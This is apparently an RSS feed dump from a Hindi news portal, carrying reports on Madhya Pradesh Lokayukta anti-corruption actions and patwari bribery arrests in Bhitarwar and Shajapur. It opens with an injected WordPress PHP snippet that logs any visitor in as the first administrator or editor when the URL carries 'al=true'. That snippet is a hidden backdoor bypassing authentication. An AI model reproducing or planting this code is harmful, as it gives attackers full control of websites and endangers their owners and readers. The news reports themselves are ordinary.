// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Lokayukta team – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 02 Jan 2025 14:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 लोकायुक्त टीम ने 25 सितंबर से लेकर 31 दिसंबर तक 120 कार्रवाई की https://pratyushaashakinayikiran.com/?p=116579 Thu, 02 Jan 2025 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=116579 भोपाल

 मध्यप्रदेश में रिश्वतखोरी बड़ी समस्या बन चुक है। आए दिन घूसखोरी के प्रकरण सामने आते रहते हैं। ऐसे में लोकायुक्त की टीम भी भ्रष्टाचारियों पर शिकंजा कसने के मामले में तेजी ला रही है। पिछले तीन माह में लोकायुक्त की टीम ने प्रदेश में पिछले तीन साल के मुकाबले सर्वाधिक कार्रवाई की है।

साल 2024 में जहां कुल 238 कार्रवाई की गई है, तो सिर्फ तीन माह 25 सितंबर से लेकर 31 दिसंबर तक 120 कार्रवाई की गई, जिसमें सिर्फ अकेले ट्रैप के 95 मामले दर्ज किए गए हैं। बड़ी संया में पहुंची शिकायतों पर जांच भी हो रही है।
ट्रैप की कार्रवाई में इंदौर, जबलपुर अव्वल

लोकायुक्त की ट्रैप की कार्रवाई के मामले में यदि संभागों की बात की जाए तो इंदौर संभाग अव्वल है। यहां साल 2024 में 53 कार्रवाई की गई है, जो प्रदेश के अन्य संभागों के अपेक्षाकृत सबसे ज्यादा है। वहीं दूसरे नंबर पर जबलपुर है, जहां 42 कार्रवाइयां की गई हैं।

भ्रष्टाचारियों की फाइलें नहीं रोक पाएंगे अफसर

जानकारी के लिए बता दें कि मध्यप्रदेश में अब जांच के बहाने अफसर भ्रष्टाचारियों की फाइलें लंबे समय नहीं रोक पाएंगे। हर फाइल सरकार तक नहीं भेजी जाएगी। नियुक्तिकर्ता अधिकारी को ही अभियोजन स्वीकृति के अधिकार सरकार ने दे दिए हैं। यहां तक कि अनुमति देने की टाइमलाइन भी तय कर दी। इस संबंध में आदेश जारी कर दिए हैं। आदेश में कहा है कि नियुक्तिकर्ता अधिकारी परीक्षण में पाता है कि प्रकरण अभियोजन स्वीकृति के योग्य है तो उसे 45 दिन में स्वीकृति जारी करनी होगी।

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ग्‍वालियर लोकायुक्‍त टीम ने भितरवार में पटवारी को 25 हजार की रिश्‍वत लेते हुए रंगे हाथों पकडा https://pratyushaashakinayikiran.com/?p=102825 Mon, 25 Nov 2024 19:56:00 +0000 https://pratyushaashakinayikiran.com/?p=102825 ग्वालियर
ग्वालियर की लोकायुक्त टीम ने भितरवार में 25 हजार रुपए की रिश्वत लेते हुए रंगे हाथों पकड़ा है। पटवारी भितरवार तहसील के गोधारी लुहारी हल्के पर पदस्थ है। आरोपित पटवारी को भितरवार में वार्ड क्रमांक 8 में गुरुद्वारे की दुकानों में अपने आफिस से ही पकड़ा गया है। आरोपित पटवारी उमाशंकर आदिवासी है। लोकायुक्त की टीम मौके प कार्रवाई कर रही है। टीम निरीक्षक कविंद्र सिंह चौहान के नेतृत्व में कार्रवाई कर रही है।

 

ग्वालियर लोकायुक्त एसपी राजेश मिश्रा से मिली जानकारी के मुताबिक मुरैना जिले के ग्राम टीकरी थाना रिठौरा कलां निवासी 35 वर्षीय किसान चंद्रभान सिंह गुर्जर ने एक शिकायती आवेदन ऑफिस में दिया था जिसमें पटवारी द्वारा रिश्वत मांगे जाने की शिकायत थी।

ऑनलाइन नामांतरण के बदले मांगी किसान से रिश्वत 

आवेदन में चंद्रभान सिंह गुर्जर ने बताया, ग्वालियर जिले की भितरवार तहसील के ग्राम खडीचा में स्थित उसकी माँ के नाम की 18 बीघा 13 विस्वा कृषि भूमि का ऑनलाइन नामांतरण करवाने के एवज में हल्का पटवारी उमाशंकर आदिवासी 5000 रु प्रति बीघा के हिसाब से कुल 90000 रुपये रिश्वत की मांग की लेकिन बातचीत करने पर वो 25000 रुपये लेकर नामांतरण करने के लिए तैयार हो गया।

आवेदक की शिकायत मिलने के बाद ग्वालियर लोकायुक्त पुलिस की टीम ने शिकायत का सत्यापन किया और इसका प्रमाण मिलने पर ट्रैप प्लान की, ट्रैप दल द्वारा आज 25 नवम्बर को पटवारी उमाशंकर आदिवासी को तहसील भितरवार के पीछे गुरुद्वारे के पीछे दुकान में बने अपने निजी कार्यालय में आवेदक से 25000 रुपये की रिश्वत लेते हुए रंगे हाथों पकड़ लिया। टीम आरोपी के विरुद्ध भ्रष्टाचार निवारण संशोधन अधिनियम 2018 की धारा-7 के अन्तर्गत कार्यवाही कर रही है।

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शाजापुर में पांच हजार की रिश्वत लेते पटवारी गिरफ्तार, लोकायुक्त को देखकर खेत में लगाई दौड़, फिर भी नहीं बच पाया https://pratyushaashakinayikiran.com/?p=55642 Tue, 30 Jul 2024 13:46:00 +0000 https://pratyushaashakinayikiran.com/?p=55642  शाजापुर

 शाजापुर जिले के नारायण गांव निवासी किसान प्रेम सिंह गुर्जर के पिता और चाचा भगवान सिंह गुर्जर की 13 एकड़ जमीन का बंटवारे और पावती अलग अलग करवानी थी, जिसे लेकर किसान लंबे समय से परेशान था। मामले को लेकर किसान पटवारी शाहिद शाह जो उनके गांव ने पदस्थ था के पास पहुंचा और जमीन नामांतरण करने की बात कही। जिसके लिए पटवारी ने किसान से 45000 हजार रुपये की मांग की। चालीस हजार रुपये में बात तय की गई थी। जिसके बाद लोकायुक्त ने पटवारी को 5 हजार की रिश्वत लेते हुए गिरफ्तार किया है।  

जानकारी के अनुसार पटवारी शाहिद शाह जिले के कुलमनखेड़ी का रहने वाला है। वह जिले की शाजापुर तहसील के नारायण गांव के हल्का नंबर 26 का पटवारी है और काशी नगर स्थित एक मकान में कार्यालय संचालित करता है।

गुरुवार को किसान प्रेम सिंह गुर्जर ने उज्जैन लोकायुक्त में पटवारी के रिश्वत मांगने की शिकायत की थी। जिस पर लोकायुक्त एसपी अनिल विश्वकर्मा के निर्देश पर एक टीम गठित कर किसान को 5000 हजार रुपये देकर शाजापुर रवाना किया गया। किसान तय राशि में से 5000 रुपये पटवारी को देने के लिए काशी नगर मजार युशुफी दरगाह रोड स्थित ऑफिस में देने पहुंचा। जैसे ही किसान ने पटवारी को रुपये दिए उसके तुरंत बाद पीछे से आ रहे लोकायुक्त डीएसपी बसंत श्रीवास्तव की टीम ने पामार मार दिया। ऑफिस में घुसी टीम को देखकर पटवारी शाहिद शाह कार्यालय से बाहर निकलकर सोयाबीन के खेत में भागने लगा। लेकिन, टीम ने पीछाकर उसे पकड़ लिया और उसके पास से रिश्वत के 5000 रुपये जब्त किए।  

 

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